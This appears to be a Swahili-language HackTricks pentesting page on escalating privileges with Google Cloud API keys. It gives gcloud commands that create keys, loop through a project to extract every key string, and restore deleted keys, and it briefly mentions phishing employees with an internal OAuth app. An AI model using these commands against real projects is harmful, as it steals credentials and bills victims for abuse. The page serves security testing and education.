GCP - Apikeys Privesc

Support HackTricks

Apikeys

Ruhusa zifuatazo ni muhimu kuunda na kuiba funguo za API, si hii kutoka kwa hati: Funguo za API ni mfuatano rahisi wa siri unao tambulisha programu bila kiongozi yeyote. Zinatumika kwa kupata data za umma kwa siri, na zinatumika ku unganisha maombi ya API na mradi wako kwa ajili ya quota na kulipia.

Hivyo, kwa funguo za API unaweza kufanya kampuni hiyo ilipe kwa matumizi yako ya API, lakini huwezi kuongeza mamlaka.

Kwa maelezo zaidi kuhusu Funguo za API angalia:

Kwa njia nyingine za kuunda funguo za API angalia:

Brute Force API Key access

Kama hujui ni APIs zipi zimewezeshwa katika mradi au vizuizi vilivyowekwa kwa funguo za API ulizozipata, itakuwa ya kuvutia kutumia zana https://github.com/ozguralp/gmapsapiscanner na kuangalia kila unachoweza kufikia kwa funguo za API.

apikeys.keys.create

Ruhusa hii inaruhusu kuunda funguo za API:

gcloud services api-keys create
Operation [operations/akmf.p7-[...]9] complete. Result: {
"@type":"type.googleapis.com/google.api.apikeys.v2.Key",
"createTime":"2022-01-26T12:23:06.281029Z",
"etag":"W/\"HOhA[...]==\"",
"keyString":"AIzaSy[...]oU",
"name":"projects/5[...]6/locations/global/keys/f707[...]e8",
"uid":"f707[...]e8",
"updateTime":"2022-01-26T12:23:06.378442Z"
}

You can find a script to automate the creation, exploit and cleaning of a vuln environment here.

Kumbuka kwamba kwa kawaida watumiaji wana ruhusa za kuunda miradi mipya na wanapewa jukumu la Mmiliki juu ya mradi mpya. Hivyo mtumiaji anaweza kuunda mradi na ufunguo wa API ndani ya mradi huu.

apikeys.keys.getKeyString , apikeys.keys.list

Ruhusa hizi zinaruhusu orodhesha na pata apiKeys zote na pata Ufunguzi:

for  key  in  $(gcloud services api-keys list --uri); do
gcloud services api-keys get-key-string "$key"
done

You can find a script to automate the creation, exploit and cleaning of a vuln environment here.

apikeys.keys.undelete , apikeys.keys.list

Hizi ruhusa zinakuruhusu orodhesha na kuunda tena funguo za api zilizofutwa. Funguo ya API inatolewa katika matokeo baada ya kuondoa kufanyika:

gcloud services api-keys list --show-deleted
gcloud services api-keys undelete <key-uid>

Unda Programu ya Ndani ya OAuth ili kudanganya wafanyakazi wengine

Angalia ukurasa ufuatao kujifunza jinsi ya kufanya hivi, ingawa hatua hii inahusiana na huduma clientauthconfig kulingana na nyaraka:

Support HackTricks

Last updated